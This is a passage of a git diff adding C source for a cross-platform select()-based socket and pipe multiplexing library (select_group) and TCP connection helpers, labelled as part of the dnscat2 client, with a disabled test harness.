8192 + +/* Some macros to access elements within the numbered structure. */ +#define SG_SOCKET(sg,i) sg->select_list[i]->s +#ifdef WIN32 +#define SG_PIPE(sg,i) sg->select_list[i]->pipe +#endif +#define SG_TYPE(sg,i) sg->select_list[i]->type +#define SG_READY(sg,i) sg->select_list[i]->ready_callback +#define SG_RECV(sg,i) sg->select_list[i]->recv_callback +#define SG_LISTEN(sg,i) sg->select_list[i]->listen_callback +#define SG_ERROR(sg,i) sg->select_list[i]->error_callback +#define SG_CLOSED(sg,i) sg->select_list[i]->closed_callback +#define SG_WAITING(sg,i) sg->select_list[i]->waiting_for +#define SG_BUFFER(sg,i) sg->select_list[i]->buffer +#define SG_BUFFERED(sg,i) sg->select_list[i]->buffered +#define SG_IS_READY(sg,i) sg->select_list[i]->ready +#define SG_IS_ACTIVE(sg,i) sg->select_list[i]->active +#define SG_PARAM(sg,i) sg->select_list[i]->param + +static int getlastsocketerror(int s) +{ +#ifdef WIN32 + int len = 4; + int val; + getsockopt(s, SOL_SOCKET, SO_ERROR, (char*)&val, &len); + + return val; +#else + return getlasterror(); +#endif +} + +static select_t *find_select_by_socket(select_group_t *group, int s) +{ + size_t i; + select_t *ret = NULL; + + for(i = 0; i < group->current_size && !ret; i++) + if(SG_IS_ACTIVE(group, i) && SG_SOCKET(group, i) == s) + ret = group->select_list[i]; + + return ret; +} + +select_group_t *select_group_create() +{ + select_group_t *new_group = (select_group_t*) safe_malloc(sizeof(select_group_t)); + memset(new_group, 0, sizeof(select_group_t)); + + new_group->select_list = safe_malloc(LIST_STARTING_SIZE * sizeof(select_t)); + new_group->current_size = 0; + new_group->maximum_size = LIST_STARTING_SIZE; + new_group->timeout_callback = NULL; + new_group->timeout_param = NULL; + + return new_group; +} + +void select_group_destroy(select_group_t *group) +{ + size_t i; + + for(i = 0; i < group->current_size; i++) + { + if(SG_BUFFER(group, i)) + { + memset(SG_BUFFER(group, i), 0, SG_WAITING(group, i)); + safe_free(SG_BUFFER(group, i)); + } + memset(group->select_list[i], 0, sizeof(select_t)); + safe_free(group->select_list[i]); + } + + memset(group->select_list, 0, group->maximum_size * sizeof(select_t*)); + safe_free(group->select_list); + + memset(group, 0, sizeof(select_group_t)); + safe_free(group); +} + +void select_group_add_socket(select_group_t *group, int s, SOCKET_TYPE_t type, void *param) +{ + select_t *new_select; + + if(find_select_by_socket(group, s)) + DIE("Tried to add same socket to select_group more than once."); + + new_select = (select_t*) safe_malloc(sizeof(select_t)); + memset(new_select, 0, sizeof(select_t)); + new_select->s = s; + new_select->type = type; + new_select->ready = FALSE; + new_select->active = TRUE; + new_select->param = param; + + group->select_list[group->current_size] = new_select; + group->current_size++; + if(group->current_size >= group->maximum_size) + { + group->maximum_size = group->maximum_size * 2; + if(group->maximum_size > SOCKET_LIST_MAX_SOCKETS) + { + fprintf(stderr, "Too many sockets!\n"); + exit(1); + } + group->select_list = safe_realloc(group->select_list, group->maximum_size * sizeof(select_t*)); + } + + if(s > group->biggest_socket) + group->biggest_socket = s; +} + +#ifdef WIN32 +void select_group_add_pipe(select_group_t *group, int identifier, HANDLE pipe, void *param) +{ + select_t *new_select; + + if(find_select_by_socket(group, identifier)) + DIE("Tried to add same pipe to select_group more than once (or choose a poor identifier)."); + + new_select = (select_t*) safe_malloc(sizeof(select_t)); + memset(new_select, 0, sizeof(select_t)); + new_select->s = identifier; + new_select->pipe = pipe; + new_select->type = SOCKET_TYPE_PIPE; + new_select->active = TRUE; + new_select->param = param; + + group->select_list[group->current_size] = new_select; + group->current_size++; + if(group->current_size >= group->maximum_size) + { + group->maximum_size = group->maximum_size * 2; + if(group->maximum_size > SOCKET_LIST_MAX_SOCKETS) + { + fprintf(stderr, "Too many sockets!\n"); + exit(1); + } + group->select_list = safe_realloc(group->select_list, group->maximum_size * sizeof(select_t*)); + } +} +#endif + +select_ready *select_set_ready(select_group_t *group, int s, select_ready *callback) +{ + select_t *select = find_select_by_socket(group, s); + select_ready *old = NULL; + + if(select) + { + old = select->ready_callback; + select->ready_callback = callback; + } + return old; +} + +select_recv *select_set_recv(select_group_t *group, int s, select_recv *callback) +{ + select_t *select = find_select_by_socket(group, s); + select_recv *old = NULL; + + if(select) + { + old = select->recv_callback; + select->recv_callback = callback; + } + return old; +} + +select_listen *select_set_listen(select_group_t *group, int s, select_listen *callback) +{ + select_t *select = find_select_by_socket(group, s); + select_listen *old = NULL; + + if(select) + { + old = select->listen_callback; + select->listen_callback = callback; + } + return old; +} + +select_error *select_set_error(select_group_t *group, int s, select_error *callback) +{ + select_t *select = find_select_by_socket(group, s); + select_error *old = NULL; + + if(select) + { + old = select->error_callback; + select->error_callback = callback; + } + return old; +} + +select_closed *select_set_closed(select_group_t *group, int s, select_closed *callback) +{ + select_t *select = find_select_by_socket(group, s); + select_closed *old = NULL; + + if(select) + { + old = select->closed_callback; + select->closed_callback = callback; + } + return old; +} + +select_timeout *select_set_timeout(select_group_t *group, select_timeout *callback, void *param) +{ + select_timeout *old; + old = group->timeout_callback; + group->timeout_callback = callback; + group->timeout_param = param; + + return old; +} + +NBBOOL select_group_remove_socket(select_group_t *group, int s) +{ + select_t *socket = find_select_by_socket(group, s); + + if(socket) + socket->active = FALSE; + + return (socket ? TRUE : FALSE); +} + +NBBOOL select_group_remove_and_close_socket(select_group_t *group, int s) +{ + tcp_close(s); + return select_group_remove_socket(group, s); +} + +static SELECT_RESPONSE_t select_handle_response(select_group_t *group, int s, SELECT_RESPONSE_t response) +{ + if(response == SELECT_OK) + { + /* printf("A-ok\n"); */ + } + else if(response == SELECT_REMOVE) + { + select_group_remove_socket(group, s); + } + else if(response == SELECT_CLOSE_REMOVE) + { + select_group_remove_and_close_socket(group, s); + } + else + { + DIE("Unknown SELECT result was returned by a callback."); + } + + return response; +} + +static void handle_incoming_data(select_group_t *group, size_t i) +{ + int s = SG_SOCKET(group, i); + uint8_t buffer[MAX_RECV]; + + /* SG_WAITING is set when we're buffering data. Doesn't work with Windows pipes. */ + if(SG_WAITING(group, i)) + { + /* Figure out how many bytes we're waiting on. */ + size_t require = SG_WAITING(group, i) - SG_BUFFERED(group, i); + + /* Read no more than what we need. */ + int size = recv(s, buffer, require, 0); + + if(SG_TYPE(group, i) == SOCKET_TYPE_DATAGRAM) + DIE("Tried to treat a DATAGRAM socket like a stream."); + + /* Check for error */ + if(size < 0) + { + if(SG_ERROR(group, i)) + select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else if(size == 0) + { + if(SG_CLOSED(group, i)) + select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else + { + /* Copy the bytes just read into the buffer */ + memcpy(SG_BUFFER(group, i) + SG_BUFFERED(group, i), buffer, size); + + /* Increment the counter. */ + SG_BUFFERED(group, i) = SG_BUFFERED(group, i) + size; + + /* If we're finished buffering data, call the callback function and clear the buffer. */ + if(SG_BUFFERED(group, i) > SG_WAITING(group, i)) + DIE("Something caused data corruption (overflow?)"); + + if(SG_BUFFERED(group, i) == SG_WAITING(group, i)) + { + select_handle_response(group, s, SG_RECV(group, i)(group, s, SG_BUFFER(group, i), SG_BUFFERED(group, i), NULL, -1, SG_PARAM(group, i))); + memset(SG_BUFFER(group, i), 0, SG_BUFFERED(group, i)); + SG_BUFFERED(group, i) = 0; + } + } + } + else + { +#ifdef WIN32 + if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM || SG_TYPE(group, i) == SOCKET_TYPE_PIPE) +#else + if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM) +#endif + { + ssize_t size; + NBBOOL success = TRUE; + +#ifdef WIN32 + /* If it's a stream, use tcp_recv; if it's a pipe, use ReadFile. */ + if(SG_TYPE(group, i) == SOCKET_TYPE_STREAM) + { + size = tcp_recv(s, buffer, MAX_RECV); + } + else if(SG_TYPE(group, i) == SOCKET_TYPE_PIPE) + { + success = ReadFile(SG_PIPE(group, i), buffer, MAX_RECV, &size, NULL); + } +#else + size = read(s, buffer, MAX_RECV); /* read is better than recv, because it can handle stdin */ +#endif + + /* Handle error conditions. */ + if(size < 0 || !success) + { + if(SG_ERROR(group, i)) + select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else if(size == 0) + { +/* fprintf(stderr, "Closed!\n"); */ + if(SG_CLOSED(group, i)) + select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else + { + /* Send the recv()'d data to the callback, handling the response appropriately. */ + if(SG_RECV(group, i)) + select_handle_response(group, s, SG_RECV(group, i)(group, s, buffer, size, NULL, -1, SG_PARAM(group, i))); + } + } + else + { + /* It's a datagram socket, so use recvfrom. */ + struct sockaddr_in addr; + socklen_t addr_size = sizeof(struct sockaddr_in); + ssize_t size; + + memset(&addr, 0, sizeof(struct sockaddr_in)); + size = recvfrom(s, buffer, MAX_RECV, 0, (struct sockaddr *)&addr, &addr_size); + + /* Handle error conditions. */ + if(size < 0 || size == (size_t)-1) + { + if(SG_ERROR(group, i)) + select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else if(size == 0) + { + if(SG_CLOSED(group, i)) + select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else + { + /* Send the recv()'d data to the callback, handling the response appropriately. */ + if(SG_RECV(group, i)) + select_handle_response(group, s, SG_RECV(group, i)(group, s, buffer, size, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port), SG_PARAM(group, i))); + } + } + } +} + +static void handle_incoming_connection(select_group_t *group, size_t i) +{ + int s = SG_SOCKET(group, i); + + if(SG_LISTEN(group, i)) + select_handle_response(group, s, SG_LISTEN(group, i)(group, s, SG_PARAM(group, i))); +} + +void select_group_do_select(select_group_t *group, int timeout_ms) +{ + fd_set read_set; + fd_set write_set; + fd_set error_set; + int select_return; + size_t i; + struct timeval select_timeout; + +#ifdef WIN32 + size_t count = 0; +#endif + + /* Always time out after an interval (like Ncat does) -- this lets us poll for non-Internet sockets on Windows. */ +#ifdef WIN32 + select_timeout.tv_sec = 0; + select_timeout.tv_usec = TIMEOUT_INTERVAL * 1000; +#else + select_timeout.tv_sec = timeout_ms / 1000; + select_timeout.tv_usec = (timeout_ms % 1000) * 1000; +#endif + + /* Clear the current socket set */ + FD_ZERO(&read_set); + FD_ZERO(&write_set); + FD_ZERO(&error_set); + + /* Crawl over the list, adding the sockets. */ + for(i = 0; i < group->current_size; i++) + { +#ifdef WIN32 + /* On Windows, don't add pipes. */ + if(SG_IS_ACTIVE(group, i) && SG_TYPE(group, i) != SOCKET_TYPE_PIPE) + { + FD_SET(SG_SOCKET(group, i), &read_set); + if(!SG_IS_READY(group, i)) + FD_SET(SG_SOCKET(group, i), &write_set); + + FD_SET(SG_SOCKET(group, i), &error_set); + + /* Count is only used to check if there are any sockets in the set; if + * there aren't, then sleep() is used instead of select(). */ + count++; + } +#else + if(SG_IS_ACTIVE(group, i)) + { + FD_SET(SG_SOCKET(group, i), &read_set); + if(!SG_IS_READY(group, i)) + FD_SET(SG_SOCKET(group, i), &write_set); + + FD_SET(SG_SOCKET(group, i), &error_set); + } +#endif + } + +#ifdef WIN32 + /* If no sockets are added, then use the Sleep() function here. */ + if(count == 0) + Sleep(TIMEOUT_INTERVAL); + else + select_return = select(group->biggest_socket + 1, &read_set, &write_set, &error_set, &select_timeout); +#else + select_return = select(group->biggest_socket + 1, &read_set, &write_set, &error_set, timeout_ms < 0 ? NULL : &select_timeout); +#endif +/* fprintf(stderr, "Select returned %d\n", select_return); */ + + if(select_return == -1) + nbdie("select_group: couldn't select()"); + +#ifdef WIN32 + /* Handle pipes on every run, whether it's a timeout or data arrived. */ + for(i = 0; i < group->current_size; i++) + { + if(SG_IS_ACTIVE(group, i) && SG_TYPE(group, i) == SOCKET_TYPE_PIPE) + { + /* Check if the handle is ready. */ + DWORD n; + + /* See if there's any data in the pipe. */ + BOOL result = PeekNamedPipe(SG_PIPE(group, i), NULL, 0, NULL, &n, NULL); + + /* If there is, call the incoming_data function. */ + if(result) + { + if(n > 0) + handle_incoming_data(group, i); + } + else + { + int s = SG_SOCKET(group, i); + + if(GetLastError() == ERROR_BROKEN_PIPE) /* Pipe closed */ + { + if(SG_CLOSED(group, i)) + select_handle_response(group, s, SG_CLOSED(group, i)(group, s, SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + else + { + if(SG_ERROR(group, i)) + select_handle_response(group, s, SG_ERROR(group, i)(group, s, getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i))); + else + select_group_remove_and_close_socket(group, s); + } + } + } + } +#endif + + /* select_return is 0 when there's a timeout -- but because there's a timeout + * callback, we have to check if we crossed it. */ + if(select_return == 0) + { + if(timeout_ms >= 0) + { +#ifdef WIN32 + /* On Windows, check if we've overflowed our elapsed time. */ + if((group->elapsed_time / timeout_ms) != ((group->elapsed_time + TIMEOUT_INTERVAL) / timeout_ms)) + { + /* Timeout elapsed with no events, inform the callbacks. */ + if(group->timeout_callback) + group->timeout_callback(group, group->timeout_param); + } + + /* Increment the elapsed time. We don't really care if this overflows. */ + group->elapsed_time = (group->elapsed_time + TIMEOUT_INTERVAL); +#else + /* Timeout elapsed with no events, inform the callbacks. */ + if(group->timeout_callback) + group->timeout_callback(group, group->timeout_param); +#endif + } + } + else + { + /* Loop through the sockets to find the one that had activity. */ + for(i = 0; i < group->current_size; i++) + { + /* If the socket is active and it has data waiting to be read, process it. */ + if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &read_set)) + { + if(SG_TYPE(group, i) == SOCKET_TYPE_LISTEN) + { + handle_incoming_connection(group, i); + } + else + { + handle_incoming_data(group, i); + } + } + + /* If the socket became writable, update as appropriate. */ + if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &write_set)) + { + /* Call the connect callback. */ + if(SG_READY(group, i)) + select_handle_response(group, SG_SOCKET(group, i), SG_READY(group, i)(group, SG_SOCKET(group, i), SG_PARAM(group, i))); + + /* Mark the socket as ready. */ + SG_IS_READY(group, i) = TRUE; + } + + /* If there's an error, handle it. */ + if(SG_IS_ACTIVE(group, i) && FD_ISSET(SG_SOCKET(group, i), &error_set)) + { + /* If there's no handler defined, default to closing and removing the + * socket. */ + if(SG_ERROR(group, i)) + select_handle_response(group, SG_SOCKET(group, i), SG_ERROR(group, i)(group, SG_SOCKET(group, i), getlastsocketerror(SG_SOCKET(group, i)), SG_PARAM(group, i))); + else + select_handle_response(group, SG_SOCKET(group, i), SELECT_CLOSE_REMOVE); + } + } + } +} + +NBBOOL select_group_wait_for_bytes(select_group_t *group, int s, size_t bytes) +{ + select_t *socket = find_select_by_socket(group, s); + + if(bytes > MAX_RECV) + DIE("Tried to wait for too many bytes at once."); + + if(socket) + { + if(socket->type != SOCKET_TYPE_STREAM) + DIE("Tried to buffer bytes on the wrong type of socket"); + + /* Already waiting, free bytes. */ + if(socket->waiting_for) + safe_free(socket->buffer); + + socket->buffer = safe_malloc(sizeof(uint8_t) * bytes); + socket->waiting_for = bytes; + socket->buffered = 0; + } + + return (socket ? TRUE : FALSE); +} + + +size_t select_group_get_active_count(select_group_t *group) +{ + size_t i; + size_t count = 0; + + for(i = 0; i < group->current_size; i++) + { + if(SG_IS_ACTIVE(group, i)) + count++; + } + + return count; +} + +#ifdef WIN32 +typedef struct +{ + HANDLE stdin_read; /* Probably don't need this, but whatever. */ + HANDLE stdin_write; +} stdin_thread_param; + +static DWORD WINAPI stdin_thread(void *param) +{ + char buffer[1024]; + DWORD bytes_read; + DWORD bytes_written; + HANDLE stdin_write = ((stdin_thread_param*)param)->stdin_write; + + /* Don't need the param anymore. */ + safe_free(param); + + while(1) + { + int i = 0; + + do + { + if(!ReadFile(GetStdHandle(STD_INPUT_HANDLE), buffer, 1024, &bytes_read, NULL)) + { + fprintf(stderr, "No more data from stdin\n"); + CloseHandle(stdin_write); + return 0; + } + + if(!WriteFile(stdin_write, buffer, bytes_read, &bytes_written, NULL)) + nbdie("stdin: Couldn't write to stdin pipe"); + + } while(1); + } + + return 0; +} + +HANDLE get_stdin_handle() +{ + HANDLE stdin_read; + HANDLE stdin_write; + HANDLE new_thread; + stdin_thread_param *param = (stdin_thread_param*) safe_malloc(sizeof(stdin_thread_param)); + static HANDLE handle = NULL; + + /* Check if we already have the handle open. */ + if(handle) + return handle; + + CreatePipe(&stdin_read, &stdin_write, NULL, 0); + param->stdin_read = stdin_read; + param->stdin_write = stdin_write; + + /* Create the new stdin thread. */ + new_thread = CreateThread(NULL, 0, stdin_thread, param, 0, NULL); + + if(!new_thread) + nbdie("stdin: Couldn't create thread"); + + /* This will let us reference this file later, if this function is called again. */ + handle = stdin_read; + + /* Return the fake stdin. */ + return stdin_read; +} +#endif + +#if 0 +#include +/*#define _POSIX_C_SOURCE*/ +#include "udp.h" +#include "tcp.h" +SELECT_RESPONSE_t test_timeout(void *group, int s, void *param) +{ + printf("Timeout called for socket %d\n", s); + + return SELECT_OK; +} + +SELECT_RESPONSE_t test_recv(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param) +{ + int i; + + if(addr) + printf("Socket %d received %d bytes from %s:%d\n", s, length, addr, port); + + if(data[0] == 'q') + return SELECT_REMOVE; + else if(data[0] == 'x') + return SELECT_CLOSE_REMOVE; + else if(data[0] == 'c') + close(s); + + for(i = 0; i < length; i++) + { + printf("%c", data[i] < 0x20 ? '.' : data[i]); + } + printf("\n"); + + return SELECT_OK; +} + +SELECT_RESPONSE_t test_error(void *group, int s, int err, void *param) +{ + fprintf(stderr, "Error in socket %d: %s\n", s, strerror(err)); + return SELECT_CLOSE_REMOVE; +} + +SELECT_RESPONSE_t test_closed(void *group, int s, void *param) +{ + printf("Socket %d: connection closed.\n", s); + return SELECT_CLOSE_REMOVE; +} + +SELECT_RESPONSE_t test_listen(void *group, int s, void *param) +{ + char *address; + uint16_t port; + int new = tcp_accept(s, &address, &port); + + printf("Accepting connection from %s:%d\n", address, port); + + select_group_add_socket(group, new, SOCKET_TYPE_STREAM, NULL); + select_set_recv(group, new, test_recv); + select_set_error(group, new, test_error); +/* select_set_closed(group, new, test_closed); */ + + return SELECT_OK; +} + +int main(int argc, char **argv) +{ + select_group_t *group; + + int udp = udp_create_socket(2222, "0.0.0.0"); + int tcp = tcp_connect("www.google.ca", 80); + int listen = tcp_listen("0.0.0.0", 4444); + + char *test = "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n"; + + printf("Listening on udp/2222\n"); + printf("Connecting to Google on tcp/80\n"); + printf("Listening on tcp/4444\n\n"); + + /* Check if everything was created right. */ + if(udp < 0) + { + printf("UDP socket failed to create!\n"); + exit(1); + } + if(tcp < 0) + { + printf("TCP socket failed to create!\n"); + exit(1); + } + if(listen < 0) + { + printf("Listen socket failed to create!\n"); + exit(1); + } + + tcp_send(tcp, test, strlen(test)); + + group = select_group_create(); + select_group_add_socket(group, udp, SOCKET_TYPE_DATAGRAM, NULL); + select_group_add_socket(group, tcp, SOCKET_TYPE_STREAM, NULL); + select_group_add_socket(group, listen, SOCKET_TYPE_LISTEN, NULL); + select_group_add_socket(group, STDIN_FILENO, SOCKET_TYPE_STREAM, NULL); + + select_set_recv(group, udp, test_recv); + select_set_recv(group, tcp, test_recv); + select_set_recv(group, STDIN_FILENO, test_recv); + + select_set_listen(group, listen, test_listen); + + select_set_error(group, udp, test_error); + select_set_error(group, tcp, test_error); + select_set_error(group, listen, test_error); + select_set_error(group, STDIN_FILENO, test_error); + + select_set_closed(group, udp, test_closed); + select_set_closed(group, tcp, test_closed); + select_set_closed(group, listen, test_closed); + select_set_closed(group, STDIN_FILENO, test_closed); + + select_group_wait_for_bytes(group, tcp, 25); + + while(1) + { + select_group_do_select(group, -1, -1); + } + + select_group_destroy(group); + + return 0; +} +#endif diff --git a/client/libs/select_group.h b/client/libs/select_group.h new file mode 100644 index 0000000..03523ba --- /dev/null +++ b/client/libs/select_group.h @@ -0,0 +1,238 @@ +/* select_group.h + * By Ron Bowes + * Created August, 2008 + * + * (See LICENSE.md) + * + * This module implements a simple interface to the select() function that + * works across Windows, Linux, BSD, and Mac. Any (reasonable) number of + * sockets can be added and when any one of them has data, callbacks are used + * to notify the main program. + * + * This library is single-threaded (except on Windows.. I'll get to that). I've + * compiled and tested it on Linux, FreeBSD, Mac, and Windows, and it works + * beautifully on all of them. On any of those platforms it can select just + * fine on stream sockets, datagram sockets, listeners, and pipes (including + * stdin on Windows). + * + * Windows support for pipes is a special case. Because Windows can't select() + * on a pipe or HANDLE, I had to implement some special code. Basically, it + * polls -- instead of adding pipes to the select(), it times out the select + * after a set amount of time (right now, it's 100ms). That means that every + * 100ms, select() returns and checks if any input is waiting on the pipes. Not + * the greatest solution, but it isn't the greatest OS for networking stuff. + * + * Even worse, stdin is a special case. stdin can be read through a pipe, so + * the polling code works great -- except that Windows won't echo types + * characters unless stdin is being actively read. Rather than introducing a + * 100ms-delay to everything types, that would probably make me even more + * crazy, I created the Windows-specific function get_stdin_handle(). The first + * time it's called, it creates a thread that reads from stdin and writes to a + * pipe. That pipe can be added to select() and everything else works the same. + * It's an ugly hack, I know, but when writing Ncat (http://nmap.org/ncat) + * David Fifield came up with the same solution. Apparently, it's the best + * we've got. + */ + + +#ifndef __SELECT_GROUP_H__ +#define __SELECT_GROUP_H__ + +/* Updates for dnscat2 */ +#define SELECT_GROUP_VERSION "1.01" + +#include + +#ifdef WIN32 +#include +#else +#endif + +#include "types.h" + +/* The maximum number of possible sockets (huge number, but I want to prevent overflows). Note that this is + * sort of a range, because the number of sockets are doubled each time. So it's between 32768 and 65536. */ +#define SOCKET_LIST_MAX_SOCKETS (65536/2) + +/* The time, in milliseconds, between select() timing out and polling for pipe data (on Windows). */ +#ifdef WIN32 +#define TIMEOUT_INTERVAL 100 +#endif + +/* Different types of sockets, which will affect different aspects. */ +typedef enum +{ + /* No special treatment (anything can technically use this one). */ + SOCKET_TYPE_STREAM, + + /* Uses recvfrom() and passes along the socket address). */ + SOCKET_TYPE_DATAGRAM, + + /* Listening implies a stream. */ + SOCKET_TYPE_LISTEN, +#ifdef WIN32 + /* For use on Windows, only, is handled separately. */ + SOCKET_TYPE_PIPE +#endif +} SOCKET_TYPE_t; + +/* Possible return values from callback functions. */ +typedef enum +{ + SELECT_OK, /* Everything went well. */ + SELECT_REMOVE, /* Remove the socket from the list. */ + SELECT_CLOSE_REMOVE, /* Close the socket and remove it from the list. */ +} SELECT_RESPONSE_t; + +/* Define callback function types. I have to make the first parameter 'void*' because the struct hasn't been defined + * yet, and the struct requires these typedefs to be in place. */ +typedef SELECT_RESPONSE_t(select_ready)(void *group, int s, void *param); +/* 'addr' will only be filled in for datagram requests. */ +typedef SELECT_RESPONSE_t(select_recv)(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param); +typedef SELECT_RESPONSE_t(select_listen)(void *group, int s, void *param); +typedef SELECT_RESPONSE_t(select_error)(void *group, int s, int err, void *param); +typedef SELECT_RESPONSE_t(select_closed)(void *group, int s, void *param); +typedef SELECT_RESPONSE_t(select_timeout)(void *group, void *param); + +/* This struct is for internal use. */ +typedef struct +{ + /* The socket. */ + int s; +#ifdef WIN32 + /* A pipe (used for Windows' named pipes. */ + HANDLE pipe; +#endif + /* Datagram, stream, etc. */ + SOCKET_TYPE_t type; + + /* The function to call when the socket is ready for data. */ + select_ready *ready_callback; + + /* The function to call when data arrives. */ + select_recv *recv_callback; + + /* The function to call when a connection arrives. */ + select_listen *listen_callback; + + /* The function to call when there's an error. */ + select_error *error_callback; + + /* The function to call when the connection is closed. */ + select_closed *closed_callback; + + /* The number of bytes being waited on. If set to 0, will trigger on all + * incoming data. */ + size_t waiting_for; + + /* The buffer that holds the current bytes. */ + uint8_t *buffer; + + /* The number of bytes currently stored in the buffer. */ + size_t buffered; + + /* This is set after the socket has received the signal that it's ready to + * receive data. */ + NBBOOL ready; + + /* Set to 'false' when the socket is 'deleted'. It's easier than physically + * removing it from the list, so until I implement something heavy weight + * this will work. */ + NBBOOL active; + + /* Stores a piece of arbitrary data that's sent to the callbacks. */ + void *param; +} select_t; + +/* This is the primary struct for this module. */ +typedef struct +{ + /* A list of the select_t objects. */ + select_t **select_list; + + /* The current number of "select_t"s in the list. */ + size_t current_size; + + /* The maximum number of "select_t"s in the list before realloc() has to expand it. */ + size_t maximum_size; +#ifdef WIN32 + /* The number of milliseconds that have elapsed; used for timeouts. */ + uint32_t elapsed_time; +#endif + + /* The handle to the highest-numbered socket in the list (required for select() call). */ + int biggest_socket; + + /* The function to call when the timeout time expires. */ + select_timeout *timeout_callback; + + /* A parameter that is passed to the callback function. */ + void *timeout_param; +} select_group_t; + +/* Allocate memory for a select group */ +select_group_t *select_group_create(); + +/* Destroy and cleanup the group. */ +void select_group_destroy(select_group_t *group); + +/* Add a socket to the group. */ +void select_group_add_socket(select_group_t *group, int s, SOCKET_TYPE_t type, void *param); + +#ifdef WIN32 +/* Add a pipe to the group. The 'identifier' is treated as a socket and is used in place of a socket + * to look up the pipe. */ +void select_group_add_pipe(select_group_t *group, int identifier, HANDLE pipe, void *param); +#endif + +/* Set a callback that's called when the socket becomes ready to send data. */ +select_ready *select_set_ready(select_group_t *group, int s, select_ready *callback); + +/* Set the recv() callback. This will return with as much data as comes in, or with the number of bytes set by + * set_group_wait_for_bytes(), if that's set. Returns the old callback, if set. */ +select_recv *select_set_recv(select_group_t *group, int s, select_recv *callback); + +/* Set the listen() callback for incoming connections. It's up to the callback to perform the accept() to + * get the new socket. */ +select_listen *select_set_listen(select_group_t *group, int s, select_listen *callback); + +/* Set the error callback, for socket errors. If SELECT_OK is returned, it assumes the error's been handled + * and will continue to select() on the socket. In almost every case, SELECT_OK is the wrong thing to return. + * If this isn't defined, the socket is automatically closed/removed. */ +select_error *select_set_error(select_group_t *group, int s, select_error *callback); + +/* Set the closed callback. This is called when the connection is gracefully terminated. Like with errors, + * SELECT_OK is probably not what you want. If this isn't handled, the socket is automatically removed from + * the list. */ +select_closed *select_set_closed(select_group_t *group, int s, select_closed *callback); + +/* Set the timeout callback, for when the time specified in select_group_do_select() elapses. */ +select_timeout *select_set_timeout(select_group_t *group, select_timeout *callback, void *param); + +/* Remove a socket from the group. Returns non-zero if successful. */ +NBBOOL select_group_remove_socket(select_group_t *group, int s); + +/* Remove a socket from the group, and close it. */ +NBBOOL select_group_remove_and_close_socket(select_group_t *group, int s); + +/* Perform the select() call across the various sockets. with the given timeout in milliseconds. + * Note that the timeout (and therefore the timeout callback) only fires if _every_ socket is idle. + * If timeout_ms < 0, it will block indefinitely (till data arrives on any socket). Because of polling, + * on Windows, timeout_ms actually has a resolution defined by TIMEOUT_INTERVAL. */ +void select_group_do_select(select_group_t *group, int timeout_ms); + +/* Wait for the given number of bytes to arrive on the socket, rather than any number of bytes. This doesn't + * work for datagram sockets. + * Note: any data already queued up will be whacked. */ +NBBOOL select_group_wait_for_bytes(select_group_t *group, int s, size_t bytes); + +/* Check how many active sockets are left. */ +size_t select_group_get_active_count(select_group_t *group); + +#ifdef WIN32 +/* Get a handle to stdin. This handle can be added to a select_group as a pipe. Behind the scenes, + * it uses a thread. Don't ask. */ +HANDLE get_stdin_handle(); +#endif + +#endif diff --git a/client/libs/tcp.c b/client/libs/tcp.c new file mode 100644 index 0000000..426ab3e --- /dev/null +++ b/client/libs/tcp.c @@ -0,0 +1,251 @@ +/* tcp.c + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + */ + +#include +#include + +#ifdef WIN32 +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include "tcp.h" + +void winsock_initialize() +{ +#ifdef WIN32 + WORD wVersionRequested = MAKEWORD(2, 2); + WSADATA wsaData; + + int error = WSAStartup(wVersionRequested, &wsaData); + + switch(error) + { + case WSASYSNOTREADY: + fprintf(stderr, "The underlying network subsystem is not ready for network communication.\n"); + exit(1); + break; + + case WSAVERNOTSUPPORTED: + fprintf(stderr, "The version of Windows Sockets support requested is not provided by this particular Windows Sockets implementation.\n"); + exit(1); + break; + + case WSAEINPROGRESS: + fprintf(stderr, "A blocking Windows Sockets 1.1 operation is in progress.\n"); + exit(1); + break; + + case WSAEPROCLIM: + fprintf(stderr, "A limit on the number of tasks supported by the Windows Sockets implementation has been reached.\n"); + exit(1); + break; + + case WSAEFAULT: + fprintf(stderr, "The lpWSAData parameter is not a valid pointer.\n"); + exit(1); + break; + } +#endif +} + +int tcp_connect_options(char *host, uint16_t port, int non_blocking) +{ + struct sockaddr_in serv_addr; + struct hostent *server; + int s; + int status; + + /* Create the socket */ + s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if (s == -1) + nbdie("tcp: couldn't create socket"); + + if(non_blocking) + { +#ifdef WIN32 + unsigned long mode = 1; + ioctlsocket(s, FIONBIO, &mode); +#else + int flags = fcntl(s, F_GETFL, 0); + flags = flags | O_NONBLOCK; + fcntl(s, F_SETFL, flags); +#endif + } + + /* Look up the host */ + server = gethostbyname(host); + if(!server) + { + fprintf(stderr, "Couldn't find host %s\n", host); + return -1; + } + + /* Set up the server address */ + memset(&serv_addr, '\0', sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_port = htons(port); + memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length); + + 